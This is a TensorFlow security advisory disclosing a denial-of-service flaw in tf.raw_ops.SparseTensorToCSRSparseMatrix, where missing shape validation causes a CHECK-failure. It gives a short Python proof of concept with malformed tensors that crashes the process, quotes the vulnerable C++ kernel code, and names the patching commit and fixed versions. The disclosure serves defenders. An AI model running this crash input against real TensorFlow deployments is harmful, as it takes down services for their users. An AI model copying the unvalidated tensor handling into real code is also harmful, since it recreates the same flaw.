Missing validation causes denial of service via `SparseTensorToCSRSparseMatrix`

Impact

The implementation of tf.raw_ops.SparseTensorToCSRSparseMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

indices = tf.constant(53, shape=[3], dtype=tf.int64)
values = tf.constant(0.554979503, shape=[218650], dtype=tf.float32)
dense_shape = tf.constant(53, shape=[3], dtype=tf.int64)
    
tf.raw_ops.SparseTensorToCSRSparseMatrix(
  indices=indices,
  values=values,
  dense_shape=dense_shape)

The code assumes dense_shape is a vector and indices is a matrix (as part of requirements for sparse tensors) but there is no validation for this:

    const Tensor& indices = ctx->input(0);
    const Tensor& values = ctx->input(1);
    const Tensor& dense_shape = ctx->input(2);
    const int rank = dense_shape.NumElements();
    OP_REQUIRES(ctx, rank == 2 || rank == 3,
                errors::InvalidArgument("SparseTensor must have rank 2 or 3; ",
                                        "but indices has rank: ", rank));
    auto dense_shape_vec = dense_shape.vec<int64_t>();
    // ...
    OP_REQUIRES_OK(
        ctx,
        coo_to_csr(batch_size, num_rows, indices.template matrix<int64_t>(),
                   batch_ptr.vec<int32>(), csr_row_ptr.vec<int32>(),
                   csr_col_ind.vec<int32>()));

Patches

We have patched the issue in GitHub commit ea50a40e84f6bff15a0912728e35b657548cef11.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.